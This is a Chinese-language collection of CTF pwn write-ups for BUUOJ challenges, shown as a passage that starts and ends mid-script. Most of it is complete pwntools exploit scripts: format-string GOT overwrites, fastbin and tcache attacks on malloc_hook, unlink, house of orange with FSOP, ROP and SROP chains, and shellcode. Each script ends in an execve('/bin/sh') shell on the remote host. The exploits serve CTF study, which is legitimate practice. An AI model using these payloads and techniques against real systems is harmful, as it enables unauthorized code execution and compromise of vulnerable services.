conn.recvuntil("your choice?")
conn.sendline("3")
conn.recvuntil("idx?")
conn.sendline(str(idx))
def edit(idx,payload):
conn.recvuntil("your choice?")
conn.sendline("2")
conn.recvuntil("idx?")
conn.sendline(str(idx))
conn.sendline(str(payload))
def get_shell():
conn.recvuntil("your choice?")
conn.sendline("6")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26247
conn = remote(HOST ,PORT)
pause()
main = 0x08048534
system_plt = 0x80483D0
fini_array = 0x804979C
printf_got = 0x804989C
num1 = main%0x10000
num2 = ((system_plt%0x10000) + num1 - 0xa68) %0x10000
num3 = ((system_plt/0x10000) + num2 + num1 - 0x7a0) %0x10000
payload = "%"+str(num1)+"c%14$hn"
payload += "%"+str(num2)+"c%15$hn"
payload += "%0"+str(num3)+"c%16$hn"
payload += p32(fini_array) + p32(printf_got) + p32(printf_got + 2)
conn.recvuntil("Welcome to my ctf! What's your name?")
conn.sendline(payload)
conn.recvuntil("Welcome to my ctf! What's your name?")
conn.sendline("/bin/sh\x00")
#pause()
conn.interactive()
wdb_2018_3rd_soEasy
水中水
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28847
conn = remote(HOST ,PORT)
pause()
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
conn.recvuntil("Hei,give you a gift->")
stack_leak = conn.recvuntil("\n",drop=True)
stack_leak = int(stack_leak,16)
payload = shellcode.ljust(0x4c,"\x00") + p32(stack_leak)
conn.sendline(payload)
conn.interactive()
lctf2016_pwn200
这个题目其实不是很难,但是这种形似堆问题的题目,着实把我绕进去了,其实这是一个栈溢出的题目,和堆没有半毛钱关系,对于2016年来说应该有一定难度了,但是今天的话就是水题。
简单分析一下题目和漏洞成因
第一,在sub_400A8E函数位置可以泄露rbp地址,从而泄露栈地址
只要写满0x30长度,然后再后面打印的时候就会泄露rbp地址
第二,在sub_400A29函数中存在读越界,能够实现一次任意地址写
成因很简单,就是因为dest是存放申请堆块的地址的,但是堆buf越界写会篡改dest指针,再结合着strcpy函数就可以实现一次任意地址写的效果了
第三,需要细心的发现,栈空间是有执行权限的!!!
那我们的解题思路就是,将shellcode写入栈空间,通过任意地址写的效果,窜改函数某个返回地址指向栈空间上的shellcode就行了,结合泄露的rbp地址很容易就实现了!!!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29849
conn = remote(HOST ,PORT)
pause()
#系统生成的64位的shellcode长度正好是0x30
shellcode = asm(shellcraft.sh())
# 泄露栈地址
conn.recvuntil("who are u?")
conn.send("a"*48)
conn.recvuntil("a"*48)
stack_leak = conn.recvuntil(",",drop=True)
stack_leak = u64(stack_leak.ljust(8,"\x00"))
# 没啥用
conn.recvuntil("give me your id ~~?")
conn.send("1234")
# 写入shellcode并且篡改返回地址指向shellcode
conn.recvuntil("give me money~")
payload = p64(stack_leak - 0xb8) + shellcode + p64(stack_leak - 0x18)
conn.send(payload)
# 直接退出,触发shellcode
conn.recvuntil("your choice : ")
conn.sendline("3")
pause()
conn.interactive()
suctf_2018_stack
做水题真的是愉悦身心呀
backdoor = 0x400677
conn.recvuntil("============================")
conn.send(p64(backdoor)*6)
gyctf_2020_some_thing_interesting
这个题目肯定是大佬口中的简单题目,其实本身就是libc 2.23的fastbin attack,很古老
漏洞点1:格式化字符串泄露libc地址
这里的a1就是我们在程序最开始输入的字符串,位于sub_B7A
函数之中,这里包含了一个逻辑漏洞。
这里的比较是strncmp
函数,只比较0xe长度内容,而read输入长度位0x13,这里就可以多输入内容了,最终造成格式化字符串泄露地址
漏洞点2:就是delete函数中有UAF,modify函数可以篡改堆内容
这个很明显,就可以通过修改fastbin 实现攻击,控制malloc hook实现攻击,最终代码如下:
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def check():
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("0")
def Create(size1,content1,size2,content2):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("1")
conn.recvuntil("> O's length :")
conn.sendline(str(size1))
conn.recvuntil("> O :")
conn.sendline(content1)
conn.recvuntil("> RE's length :")
conn.sendline(str(size2))
conn.recvuntil("> RE :")
conn.sendline(content2)
def Modify(idx,content1,content2):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("2")
conn.recvuntil("> Oreo ID :")
conn.sendline(str(idx))
conn.recvuntil("> O :")
conn.sendline(content1)
conn.recvuntil("> RE :")
conn.sendline(content2)
def Delete(idx):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("3")
conn.recvuntil("> Oreo ID :")
conn.sendline(str(idx))
def View(idx,number):
conn.recvuntil("your choice:")
conn.sendline("5")
conn.recvuntil("index?")
conn.sendline(str(idx))
conn.recvuntil("How much?")
conn.sendline(str(number))
def hack():
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("1")
conn.recvuntil("> O's length :")
conn.sendline("50")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26634
conn = remote(HOST ,PORT)
pause()
'''漏洞点1:格式化字符串泄露libc地址'''
conn.recvuntil("> Input your code please:")
conn.sendline("OreOOrereOOreO%17$p")
check()
conn.recvuntil("OreOOrereOOreO")
libc_leak = conn.recvuntil("\n",drop=True)
libc_leak = int(libc_leak,16)
print hex(libc_leak)
libc = LibcSearcher("__libc_start_main",libc_leak - 240)
libc_base = libc_leak -240 - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
__malloc_hook = libc_base + libc.dump("__malloc_hook")
realloc = libc_base + libc.dump("realloc")
onegadget = libc_base + 0xf1147 #0x4526a # 0xf02a4 0xf1147
print "The onegadget is",hex(onegadget)
'''步骤二:通过fastbin attack 劫持malloc hook实现onegadget'''
Create(0x30,"1",0x60,"2")
Delete(1)
Modify(1,p64(__malloc_hook - 0x23),p64(__malloc_hook - 0x23))
payload = "A"*0xb +p64(onegadget) + p64(onegadget)
Create(0x60,payload,0x60,payload)
hack()
#pause()
conn.interactive()
hitcon_2018_children_tcache
这个题目,其实没有那么难,就是一个简单的off-by-null,但是我已经退化到这个都不太会做了…
首先看题目只有create
、delete
和show
功能,每一次输入内容都是在create中输入,漏洞点在这里(太容易忽视了),所有内容都是通过strcpy复制到堆里的,那么它的截尾赋0机制,就可能造成off-by-null
然后delete里面没有UAF,但是有一个比较讨厌人的memset
memset((void *)heap[v1], 0xDA, heap_size[v1]);
解题思路其实也很简单
- 先通过构造2个unsorted bin,利用strcpy漏洞实现off by null合并,申请堆块对其泄露libc基地址
- 然后利用tcache dup篡改malloc hook成onegadge即可
- 中间有一个小的细节,就是需要解决free中memset的问题,这个因为memset大小和输入的heap_size有关,所以我们只要控制一下循环处理就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size,content):
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
conn.recvuntil("Data:")
conn.sendline(content)
def show(index):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
def delete(index):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def edit(index,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
conn.sendline(content)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26789
conn = remote(HOST ,PORT)
pause()
'''第一步:实现off-by-null'''
create(0x410,"0")
create(0x38,"1") # 这个用来对其nsorted bin,泄露libc
create(0x38,"2") # 这个用来备用实现tcache dup
create(0x38,"3") # 这个配合实现off-by-null
create(0x4f0,"4") # 在这里实现off-by-null
create(0x38,"5") # 防止被top chunk合并
delete(0)
delete(3)
create(0x38,"A"*0x38) # idx为0,实现strcpy覆盖下一个块的pre_inuse
delete(0)
for i in range(0,6): # 循环处理原有块3,处理块4的pre_size高6位为0
create(0x37-i,"A"*(0x37-i)) #0
delete(0)
create(0x38,"A"*0x30+p64(0x4e0)) # 填充块4的低2位为合并大小
delete(2) # 这里free,是为了tcache dup劫持
delete(4) # 实现off-by-null
'''第二步:对齐地址,通过原本的1块实现libc的泄露'''
create(0x410,"test")
show(1)
leak = conn.recvuntil("\n",drop=True)
leak = u64(leak.ljust(8,"\x00"))
libc = LibcSearcher("__malloc_hook",leak-96-0x10)
libc_base = leak - 96 - 0x10 - libc.dump("__malloc_hook")
print "The libc_base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
system = libc_base + libc.dump("system")
realloc = libc_base + libc.dump("realloc")
puts = libc_base + libc.dump("puts")
print "system is ",hex(system)
print "__free_hook is ",hex(__free_hook)
onegadget = libc_base + 0x4f322 # 0x10a38c
'''第三步:tcache dup劫持malloc hook'''
create(0x108,"A"*0x40+p64(__malloc_hook))
create(0x38,p64(onegadget))
create(0x38,p64(onegadget))
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline("200")
#pause()
conn.interactive()
qctf2018_stack2
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def hack(pos,value):
conn.recvuntil("5. exit")
conn.sendline("3")
conn.recvuntil("which number to change:")
conn.sendline(str(pos))
conn.recvuntil("new number:")
conn.sendline(str(value))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27531
conn = remote(HOST ,PORT)
pause()
backdoor = 0x0804859B
conn.recvuntil("How many numbers you have:")
conn.sendline("0")
for x in range(4):
hack(132+x,((backdoor)>>(8*x))&0xff)
conn.recvuntil("5. exit")
conn.sendline("5")
#pause()
conn.interactive()
数组越界
[BSidesCF 2019]Runit
水题,直接写入shellcode就行
zctf_2016_note3
说来惭愧,这个明明是前几个的延续,但是碰到了还是不会做,这个题目还是延续了无限堆的思路,然后利用unlink攻击就行了,网上题解说还需要注意到,输入的idx可以是-1、-2之类的大的负数,在我的方案中是不需要的,主要得益于unlink攻击不需要fake chunk真正的在空闲链表中,所以heap的指针是得以保留的。
唯一需要学习的一点是,当没有show函数的时候,在ASLR没开的时候可以将free_got替换成puts_plt,就可以泄露libc了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def new_note(size,content):
conn.recvuntil("option--->>")
conn.sendline("1")
conn.recvuntil("Input the length of the note content:(less than 1024)")
conn.sendline(str(size))
conn.recvuntil("Input the note content:")
conn.sendline(content)
def show_note():
conn.recvuntil("option--->>")
conn.sendline("2")
def edit_note(index,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
conn.recvuntil("Input the new content:")
conn.sendline(content)
def delete(index):
conn.recvuntil("option--->>")
conn.sendline("4")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25700
conn = remote(HOST ,PORT)
pause()
'''第一步:构造fake chunk实现unlink攻击'''
puts_plt = 0x400730
free_got = 0x602018
puts_got = 0x602020
new_note(0x10,"0") # 0 为后面无限堆预留位置
new_note(0x80,"1") # 1 unlink中准备释放的块
new_note(0x100,"2") # 2 unlink中构造fake chunk
delete(0) #
#构造fake chunk
payload = p64(0)*2
payload += p64(0) + p64(0xa1) + p64(0)*18 #让fake chunk与heap对其
payload += p64(0) + p64(0x91) + p64(0x6020d8-0x18) + p64(0x6020d8-0x10) +p64(0)*14 #fake chunk
payload += p64(0x90) + p64(0x20) + p64(0)*2 # 标记上一个fake chunk是空闲的
payload += p64(0) + p64(0x51) #说明上一个chunk是在用的
new_note(0,payload) # 通过构造无限堆堆溢出
delete(1) # 触发unlink攻击
'''第二步:此时heap_list[2]指向了heap[0]位置,篡改全局变量泄露libc'''
payload = p64(0) + p64(free_got) + p64(puts_got)
edit_note(2,payload[:-1]) # 构造全局变量指向got表
edit_note(0,p64(puts_plt)[:-1]) # 将free got变为puts plt
delete(1)
conn.recv()
leak = conn.recvuntil("\n",drop=True)
leak = u64(leak.ljust(8,"\x00"))
print hex(leak)
libc = LibcSearcher("puts",leak)
libc_base = leak - libc.dump("puts")
print "The libc_base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
system = libc_base + libc.dump("system")
realloc = libc_base + libc.dump("realloc")
puts = libc_base + libc.dump("puts")
print "system is ",hex(system)
print "__free_hook is ",hex(__free_hook)
'''第三步:将free got篡改为system函数getshell'''
edit_note(0,p64(system)[:-1])
payload = p64(0) + p64(0x6020d0) + "/bin/sh"
edit_note(2,payload)
delete(0)
conn.interactive()
hgame2018_flag_server
gyctf_2020_document
这个题目没有讲的必要,就是UAF的利用,劫持堆内容后实现任意地址写,篡改__free_hook即可
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(name,sex,content):
conn.recvuntil("Give me your choice :")
conn.sendline("1")
conn.recvuntil("input name")
conn.send(name.ljust(8,"\x00"))
conn.recvuntil("input sex") #W or other
conn.send(sex)
conn.recvuntil("input information")
conn.send(content.ljust(0x70,"\x00"))
def show(index):
conn.recvuntil("Give me your choice :")
conn.sendline("2")
conn.recvuntil("Give me your index :")
conn.sendline(str(index))
def edit(index,sex,content):
conn.recvuntil("Give me your choice :")
conn.sendline("3")
conn.recvuntil("Give me your index :")
conn.sendline(str(index))
conn.recvuntil("Are you sure change sex?")
conn.send(sex) # Y or not
conn.recvuntil("Now change information")
conn.send(content.ljust(0x70,"\x00"))
def remove(index):
conn.recvuntil("Give me your choice :")
conn.sendline("4")
conn.recvuntil("Give me your index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27500
conn = remote(HOST ,PORT)
pause()
add("/bin/sh\x00","W","0")
add("/bin/sh\x00","W","1")
remove(0)
show(0)
conn.recv()
leak = conn.recvuntil("\n",drop=True)
leak = u64(leak.ljust(8,"\x00"))
libc = LibcSearcher("__malloc_hook",leak-88-0x10)
libc_base = leak - 88 - 0x10 - libc.dump("__malloc_hook")
print "The libc_base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
system = libc_base + libc.dump("system")
realloc = libc_base + libc.dump("realloc")
puts = libc_base + libc.dump("puts")
print "system is ",hex(system)
print "__free_hook is ",hex(__free_hook)
add("/bin/sh\x00","M","2")
add("/bin/sh\x00","M","3")
payload = p64(0) + p64(0x21) + p64(__free_hook-0x10) + p64(1)
edit(0,"Y",payload)
edit(3,"N",p64(system))
remove(1)
#pause()
conn.interactive()
强网杯2019 拟态 STKOF(接触拟态防御)
这里接触到了2019年的拟态防御思想的题目还是非常值得单独记录的。
本题解题思路:利用栈溢出位置的不同,利用32位和64位ret地址不同控制程序流!!!
这里还是在栈空间的布局上找到了32位和64位的差异,32位栈溢出长度位0x110,64位栈溢出长度位0x118,这样就可以在两个位置分别布置add esp/rsp | ret的指令,使得不同位数环境下溢出到不同的位置!!!
剩下的就是正常的rop构造,(我自己还踩了坑,想直接用rodata中的sh
,这个sh
的某个串的部分结尾,事实证明就是不行…)
然后需要注意一下栈溢出前用\x00
截断一下
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28124
conn = remote(HOST ,PORT)
pause()
syscall_32 = 0x080495a3
syscall_64 = 0x4011dc
add_esp_20_ret = 0x080a69f2
add_rsp_80_ret = 0x040cd17
bss_32 = 0x80DA800
bss_64 = 0x6A3C00
# 32位所用指令
pop_eax_ret = 0x080a8af6
pop_ecx_ebx_ret = 0x0806e9f2
pop_edx_ret = 0x0806e9cb
#0x08056a85 : mov dword ptr [edx], eax ; ret
mov_edx_eax_ret = 0x08056a85
# 64位所用指令
pop_rax_ret = 0x43b97c
pop_rdx_ret = 0x43b9d5
pop_rdi_ret = 0x4005f6
pop_rsi_ret = 0x405895
#0x46aea1 : mov qword ptr [rsi], rax ; ret
mov_rsi_rax_ret = 0x46aea1
payload = "A"*0x10f + "\x00" # 注意这里需要将内容截断,保持输出的一致性
payload += p32(add_esp_20_ret) + p32(0)
payload += p64(add_rsp_80_ret)
payload += p32(0)*5
#=======rop1======#
shell_32 = p32(pop_edx_ret) + p32(bss_32) # 通过特殊指令将/bin/sh写入bss段
shell_32 += p32(pop_eax_ret) + "/bin"
shell_32 += p32(mov_edx_eax_ret)
shell_32 += p32(pop_edx_ret) + p32(bss_32+4)
shell_32 += p32(pop_eax_ret) + "/sh\x00"
shell_32 += p32(mov_edx_eax_ret)
shell_32 += p32(pop_eax_ret) + p32(11)
shell_32 += p32(pop_ecx_ebx_ret) + p32(0) + p32(bss_32)
shell_32 += p32(pop_edx_ret) + p32(0)
shell_32 += p32(syscall_32) # execve("/bin/sh\x00",0,0)
#=======rop1======#
payload += shell_32.ljust(0x80-0x14,"\x00")
#=======rop2======#
shell_64 = p64(pop_rax_ret) + "/bin/sh\x00" # 通过特殊指令将/bin/sh写入bss段
shell_64 += p64(pop_rsi_ret) + p64(bss_64)
shell_64 += p64(mov_rsi_rax_ret)
shell_64 += p64(pop_rax_ret) + p64(0x3b)
shell_64 += p64(pop_rdi_ret) + p64(bss_64)
shell_64 += p64(pop_rsi_ret) + p64(0)
shell_64 += p64(pop_rdx_ret) + p64(0)
shell_64 += p64(syscall_64) # execve("/bin/sh\x00",0,0)
#=======rop2======#
payload += shell_64
conn.recvuntil("We give you a little challenge, try to pwn it?")
conn.sendline(payload)
conn.interactive()
houseoforange_hitcon_2016
(一)题目分析
题目总共的功能比较简单
-
add
功能创建了堆,这个堆最大不超过0x1000,还是非常大的。而且注意到,最多add
的次数为4次
-
upgrade
函数,是修改存放name
的字符串内容,对原有的长度没有任何检测,很明显是一个堆溢出漏洞。修改最多次数为3次
-
show
函数,就是正常的打印,没有特别内容。
(二)解题步骤
因为题目中没有free函数,并且我们可以控制的堆范围在0x1000
之内,存在堆溢出漏洞,所以具备使用house of orange
的条件
- 步骤一:利用堆溢出漏洞篡改top chunk size,实现house of orange得到unsorted bin
这一步需要2步add操作,1步upgrade操作
build_house(0x60,"test1",100,1) # add 第一次
payload = p64(0) * 13 + p64(0x21) + p64(0)*3 + p64(0xf51)
upgrade_house(len(payload),payload,200,2) # upgrade 第一次
build_house(0x1000,"orange!",300,3) # add 第二次
这一步在上面都讲解过了,所以不再赘述,最终的对地址如下。
-
步骤二:通过malloc 出large chunk,通过upgrade 和show函数的组合泄露libc和堆地址
这一点也非常明确,首先是利用了malloc中并不会memset的特性,还有large chunk
具备fd_nextsize
和bk_nextsize
,来依次泄露地址
说明一下,堆地址堆使用FSOP方法是有用的,因为最终我们要将vtable的地址指向我们可以控制的对地址空间。 -
步骤三:实现unsorted bin attack和FSOP的组合操作
这个是整个利用的核心步骤,下面要讲为什么这么操作
第一,利用unsorted bin attack攻击__IO_list_all能够实现什么?
我们将unsorted bin
通过upgrade
功能,将bk篡改成__IO_list_all-0x10
,这样攻击实现后,就会使得**bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x88
**
第二,实现了以后有什么用呢?我们注意到一点,这么做可以使得unsorted bin发生abort,从而调用_IO_flush_all_lockp 函数,我们就具备使用FSOP攻击的其中一个条件了
复习一下,_IO_flush_all_lockp 在libc2.23中条件是:①当 libc 执行 abort 流程时;②当执行 exit 函数时;③当执行流从 main 函数返回时。这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
注意正常的构造_mode=0,_IO_write_ptr=1,_IO_write_base=0,以绕过判断执行overflow
第三,如果考虑到使用FSOP,那么还需要将伪造的fake vtable指向我们可控的地址空间
这里使用的方法是,通过通知unsorted bin 的size,使得unsorted bin 发生unlink的时候修改了main_arena+88 + N
位置的地址指向原本的堆地址。
我们知道,64位的_IO_FILE
大小为0xd8,_chain
指向下一个FILE
结构,如果我们将size改为0x60,那么在main_areana+88+0x60和在main_areana+88+0x68两个位置就指向了我们可以控制的堆地址
这个时候 *__IO_list_all + 0x68 = main_arena + 88 + 0x68 = _chain = heap addr
最后,还有个小tips,我们需要将/bin/sh\x00写入到FILE结构首部
以上的四个部分,都要在一步upgradde中实现,因为后面的unsorted bin attack和abort都是一步实现的。
(三)最终代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def build_house(size,name,price,color):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Length of name :")
conn.sendline(str(size))
conn.recvuntil("Name :")
conn.send(name)
conn.recvuntil("Price of Orange:")
conn.sendline(str(price))
conn.recvuntil("Color of Orange:")
conn.sendline(str(color))
def see_house():
conn.recvuntil("Your choice :")
conn.sendline("2")
def upgrade_house(size,name,price,color):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Length of name :")
conn.sendline(str(size))
conn.recvuntil("Name:")
conn.send(name)
conn.recvuntil("Price of Orange:")
conn.sendline(str(price))
conn.recvuntil("Color of Orange:")
conn.sendline(str(color))
def give_up(index):
conn.recvuntil("Your choice :")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26043
conn = remote(HOST ,PORT)
pause()
'''步骤一:利用堆溢出漏洞篡改top chunk size,实现house of orange得到unsorted bin'''
build_house(0x60,"test1",100,1) # add 第一次
payload = p64(0) * 13 + p64(0x21) + p64(0)*3 + p64(0xf51)
upgrade_house(len(payload),payload,200,2) # upgrade 第一次
build_house(0x1000,"orange!",300,3) # add 第二次
'''步骤二:通过malloc 出large chunk,通过upgrade 和show函数的组合泄露libc和堆地址'''
build_house(0x400,"A"*8,400,4) # add 第三次 ,建造large chunk
see_house()
# 泄露libc地址
conn.recvuntil("Name of house : AAAAAAAA")
libc_leak = conn.recvuntil("\n",drop=True)
libc_leak = u64(libc_leak.ljust(8,"\x00"))
print hex(libc_leak)
libc = LibcSearcher("__malloc_hook",libc_leak-0x668-0x10) #这里注意,需要去内存看一下啊
libc_base = libc_leak - 0x668 - 0x10 - libc.dump("__malloc_hook")
print "The libc_base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
system = libc_base + libc.dump("system")
realloc = libc_base + libc.dump("realloc")
puts = libc_base + libc.dump("puts")
print "The system func is",hex(system)
print "system is ",hex(system)
print "__free_hook is ",hex(__free_hook)
# 泄露堆地址
upgrade_house(0x10,"A"*0x10,200,2) #2-2
see_house()
conn.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_leak = conn.recvuntil("\n",drop=True)
heap_leak = u64(heap_leak.ljust(8,"\x00"))
print "The heap leak is",hex(heap_leak)
'''步骤三:实现unsorted bin attack和FSOP的组合操作'''
_IO_list_all = libc_base + libc.dump("_IO_list_all")
print "The _IO_list_all is ",hex(_IO_list_all)
payload = p64(0)*129 + p64(0x21) + p64(0)*2
# 这里有3点:
# ① 将/bin/sh写入伪造的FILE头部
# ② 控制unsorted bin 的size,从而间接控制*_IO_list_all + 0x68 指向heap
# ③ 控制unsorted bin 的bk实现attack,并且p64(0)必定引发 abort
fake_file = "/bin/sh\x00" + p64(0x60) + p64(0) + p64(_IO_list_all-0x10)
# _IO_write_ptr=1,_IO_write_base=0,以绕过判断执行overflow
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,"\x00")
# 控制新的伪造的FILE vtable指向堆空间
fake_file += p64(heap_leak+0x430+0xe0) # vtable link
# __dummy __dummy2 __finish
fake_file += p64(0)*3
fake_file += p64(system) # __overflow
payload += fake_file
upgrade_house(len(payload),payload,300,3) #2-3
'''触发攻击'''
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.interactive()
rootersctf_2019_srop(SROP还不熟练!!!)
本来就是一个很简单的SROP,但是自己就是犯蠢,愣是做不出来,题目很简单,我们利用的点就在这个位置
通过栈溢出加上pop rax实现SROP攻击,但是过程中我自己被这个傻逼问题绕进去了,我寻思为什么rsp都是0了居然还能继续运行???
特么的实际调用syscall进入了内核态,并不需要利用用户态的栈空间,紧接着leave就会让我们把rsp指向已经布置好的data段中
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26632
conn = remote(HOST ,PORT)
pause()
'''步骤一:通过第一次SROP将栈提前布置到data段中,并且注意到控制rip到syscall,会通过leave转移栈空间'''
conn.recvuntil("Hey, can i get some feedback for the CTF?")
pop_rax_syscall_leave_ret = 0x0401032
syscall_leave_ret = 0x0401033
data = 0x402100
payload = "A"*0x80 + p64(0)
payload += p64(pop_rax_syscall_leave_ret)
payload += p64(0xf)
sigframe_1 = SigreturnFrame()
sigframe_1.rax = constants.SYS_read
sigframe_1.rdi = 0
sigframe_1.rsi = data
sigframe_1.rdx = 0x100
sigframe_1.rip = syscall_leave_ret
sigframe_1.rbp = data + 0x8
payload += str(sigframe_1)
conn.send(payload)
'''第二步:getshell这个时候已经转移了栈空间,还是调用一次SROP执行execve函数'''
pause()
payload = "/bin/sh\x00" + p64(data+0x10)
payload += p64(pop_rax_syscall_leave_ret)
payload += p64(0xf)
sigframe_2 = SigreturnFrame()
sigframe_2.rax = constants.SYS_execve
sigframe_2.rdi = data
sigframe_2.rsi = 0
sigframe_2.rdx = 0
sigframe_2.rip = syscall_leave_ret
sigframe_2.rbp = data
payload += str(sigframe_2)
conn.send(payload)
conn.interactive()
ciscn_2019_final_5
这个题目真的是为数不多靠自己做出来的题目,真的开心哈哈哈。
简单总结一下,题目中只有new_note,delete_not,edit_note3个功能,但是需要注意地址随机化没有开。这个题目攻击思路是:逻辑漏洞+tcache dup+got表篡改
第一,分析逻辑漏洞
为什么说是逻辑漏洞,因为并不常见。我们需要关注new_note
我们heap队列的大小是16个,问题就在于程序将index号放在了堆地址的最低字节
那么只要输入的idx为16,并且此时申请的堆地址恰好低2位是\x00\x00,那么就会异或将最终记录的heap地址变成0xXXXXXX10,我们就可以明正言顺的构造overlapping了
第二,没有leak函数怎么办?
通过tcache dup将堆申请道free_got
,修改成puts_plt
,结合前面overlapping申请堆,申请至未释放堆对其,就可以打印出main_arena
地址了。
然后第二次将free_got
篡改成system
地址,就可以getshell了。
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def new_note(index,size,content):
conn.recvuntil("your choice:")
conn.sendline("1")
conn.recvuntil("index:")
conn.sendline(str(index))
conn.recvuntil("size:")
conn.sendline(str(size))
conn.recvuntil("content:")
conn.send(content)
def delete_note(index):
conn.recvuntil("your choice:")
conn.sendline("2")
conn.recvuntil("index: ")
conn.sendline(str(index))
def edit_note(index,content):
conn.recvuntil("your choice:")
conn.sendline("3")
conn.recvuntil("index:")
conn.sendline(str(index))
conn.recvuntil("content:")
conn.send(content)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27084
conn = remote(HOST ,PORT)
pause()
free_got = 0x602018
puts_plt = 0x400790
'''第一步:利用程序的逻辑漏洞造成记录heap地址错位0x10'''
new_note(1,0x90,"ljust") #这个是为了把原有堆地址对其
payload = p64(0) + p64(0x601)
new_note(16,0x400,payload) #overlapping,fake chunk head
[new_note(x,0xf0,"/bin/sh\x00") for x in range(2,6)] # 提前布置堆块空间,为后面的tcache dup预留位置
delete_note(5) # 同时为tcache dup做准备
delete_note(2)
delete_note(0) # 实现idx为0的错位
'''第二步:篡改idx=2的堆,实现tcache dup,篡改free_got为puts_plt'''
payload = "\x00"*0x3f0 + p64(0) + p64(0x101) + p64(free_got)
new_note(7,0x4f0,payload) # 这里需要注意,申请这么大小也是为了unsorted bin切割部分与未释放的堆地址对齐
new_note(8,0xf0,"hack_before")
new_note(9,0xf0,p64(puts_plt))
'''第三步:通过未释放的堆块泄露libc地址'''
delete_note(3)
leak = conn.recvuntil("\n",drop=True)
leak = u64(leak.ljust(8,"\x00"))
print hex(leak)
libc = LibcSearcher("__malloc_hook",leak-96-0x10)
libc_base = leak - 96 - 0x10 - libc.dump("__malloc_hook")
print "The libc_base is",hex(libc_base)
